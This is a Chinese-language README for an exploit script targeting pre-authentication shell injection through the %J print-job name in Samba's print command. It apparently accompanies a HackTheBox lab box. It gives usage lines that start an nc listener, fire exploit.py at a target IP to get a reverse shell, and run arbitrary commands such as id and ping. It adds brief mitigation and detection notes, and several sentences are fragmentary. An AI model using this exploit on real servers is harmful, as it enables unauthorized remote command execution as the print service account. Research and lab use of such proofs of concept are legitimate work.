%J) 注入 PoC重要——请先阅读:
此仓库及exploit.py仅提供用于教育和研究目的。请不要将本代码用于你未获得明确书面授权的系统、网络或服务。未经授权访问计算机系统属违法行为且不合伦理。使用本代码即表示你同意遵守适用法律和机构政策。
未经身份验证的远程命令执行,位于 Samba 打印子系统中。当打印任务完成假脱机时,Samba 通过 system() 运行配置的 print command,将 %s(假脱机文件路径)和 %J(客户端提供的任务名称)替换到字符串中。在修复之前,任务名称仅经过单一转换 ' → _,而 |、;、&、空格、<、> 和反引号均原封不动地传给 shell。因此,引用 %J 的 print command 成为了 shell 注入的入口,且由于访客可以提交打印任务,该问题属于预先身份验证。
%J 的外部 print command 的打印后端(printing = sysv 风格)。printing = cups / iprint 走 CUPS API,不受影响。sudo apt install python3-samba
print command 引用了 %J。python3 exploit.py <rhost> <lhost> <lport> [-P PRINTER] [-c CMD]
# 终端 1:监听
nc -lvnp 4444
# 终端 2:触发漏洞
python3 exploit.py 10.129.244.177 10.10.14.100 4444
你应能以打印服务账户(例如 nobody)获得 shell。
python3 exploit.py 10.129.244.177 x x -c 'id > /dev/shm/o 2>&1'
由于执行是盲的(命令在服务器端运行,RPC 通道上不返回任何信息),请先通过带外方式确认,例如使用 tcpdump -ni tun0 icmp 观察 ICMP 回显:
python3 exploit.py 10.129.244.177 x x -c 'ping -c 3 10.10.14.100'
print command = /usr/local/bin/print-helper %s '%J',去掉 %J,或改用 printing = cups。smbd 生成 shell(sh/bash/nc/python/curl)以及包含 shell 元字符的文档名称。我在 HackTheBox 上创建了一个名为 Abducted 的盒子,用于展示该漏洞,并让你亲手体验攻击者如何在配置不当的环境中利用此漏洞。
| 参数/选项 | 含义 |
|---|
rhost | 目标 Samba 主机/IP |
lhost | 你的监听 IP |
lport | 你的监听端口 |
-P, --printer | 访客打印机共享名(默认:HP-Reception) |
-c, --cmd | 运行任意命令而非反弹 shell |